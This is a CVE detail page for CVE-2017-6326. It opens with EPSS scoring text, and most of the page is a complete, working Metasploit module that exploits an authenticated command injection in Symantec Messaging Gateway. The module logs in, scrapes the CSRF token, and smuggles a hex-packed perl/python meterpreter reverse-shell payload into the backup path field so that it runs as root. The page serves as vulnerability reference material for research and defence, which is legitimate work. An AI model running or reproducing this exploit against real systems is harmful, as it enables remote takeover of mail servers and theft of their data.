CVE-2017-6326 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Symantec Messaging Gateway Remote Code Execution", 'Description' => %q{ This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a terminal command under the context of the web server user which is root. backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing operating system command. One of the user input is being passed to the service without proper validation. That cause an command injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal command. Thus, you need to configure your own SSH service and set the required parameter during module usage. This module was tested against Symantec Messaging Gateway 10.6.2-7. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module ], 'References' => [ ['URL', 'https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/'], ['CVE', '2017-6326'] ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443, 'Payload' => 'python/meterpreter/reverse_tcp' }, 'Platform' => ['python'], 'Arch' => ARCH_PYTHON, 'Targets' => [[ 'Automatic', { }]], 'Privileged' => true, 'DisclosureDate' => "Apr 26 2017", 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(443), OptString.new('USERNAME', [true, 'The username to login as']), OptString.new('PASSWORD', [true, 'The password to login with']), OptString.new('SSH_ADDRESS', [true, 'The ip address of your SSH service']), OptInt.new('SSH_PORT', [true, 'The port of your SSH service', 22]), OptString.new('SSH_USERNAME', [true, 'The username of your SSH service']), OptString.new('SSH_PASSWORD', [true, 'The password of your SSH service']), OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/']) ] ) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def ssh_address datastore['SSH_ADDRESS'] end def ssh_port datastore['SSH_PORT'] end def ssh_username datastore['SSH_USERNAME'] end def ssh_password datastore['SSH_PASSWORD'] end def auth print_status("Performing authentication...") sid = '' last_login = '' res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do') }) if res && !res.get_cookies.empty? last_login = res.get_hidden_inputs.first['lastlogin'] || '' sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || '' else fail_with(Failure::Unknown, "Didn't get cookie-set header from response.") end cookie = '' # Performing authentication res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'), 'headers' => { 'Referer' => "https://#{peer}/brightmail/viewLogin.do", 'Connection' => 'keep-alive' }, 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}", 'vars_post' => { 'lastlogin' => last_login, 'userLocale' => '', 'lang' => 'en_US', 'username' => username, 'password' => password, 'loginBtn' => 'Login' } }) if res &&res.body =~ /Logged in/ cookie = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] print_good("Awesome..! Authenticated with #{username}:#{password}") else fail_with(Failure::Unknown, 'Credentials are not valid.') end cookie end def get_csrf_token(cookie) print_status('Capturing CSRF token') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'backupNow.do'), 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}", }) csrf_token = nil if res && res.code == 200 match = res.body.match(/type="hidden" name="symantec.brightmail.key.TOKEN" value="(\w+)"\/>/) if match csrf_token = match[1] print_good("CSRF token is : #{csrf_token}") else fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.') end else fail_with(Failure::Unknown, 'Something went wrong.') end csrf_token end def exploit cookie = auth csrf_token = get_csrf_token(cookie) # I want to get meterpreter instead of cmd shell but SPACE and some other characters are blacklisted. # Note that, we always have one SPACE at the beginning of python payload. e.g: import base64,sys; # Here is the thing, use perl payload with ${IFS} technique and deliver the real payload inside of it :) # So we gonna execute a perl payload on server side which will execute our meterpreter python payload. cmd = "python -c \"#{payload.encoded}\"" final_payload = cmd.to_s.unpack("H*").first p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'" # Ok. We are ready to go send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'performBackupNow.do'), 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}", 'vars_post' => { 'pageReuseFor' => 'backup_now', 'id' => '', 'symantec.brightmail.key.TOKEN' => csrf_token, 'backupData' => 'full', 'customType' => 'configuration', 'includeIncidentMessages' => 'true', 'includeLogData' => 'true', 'backupTo' => '2', 'remoteBackupProtocol' => 'SCP', 'remoteBackupAddress' => ssh_address, 'remoteBackupPort' => ssh_port, 'remoteBackupPath' => "tmp$(#{p})", 'requiresRemoteAuthentication' => 'true', 'remoteBackupUsername' => ssh_username, 'remoteBackupPassword' => ssh_password, } }) end end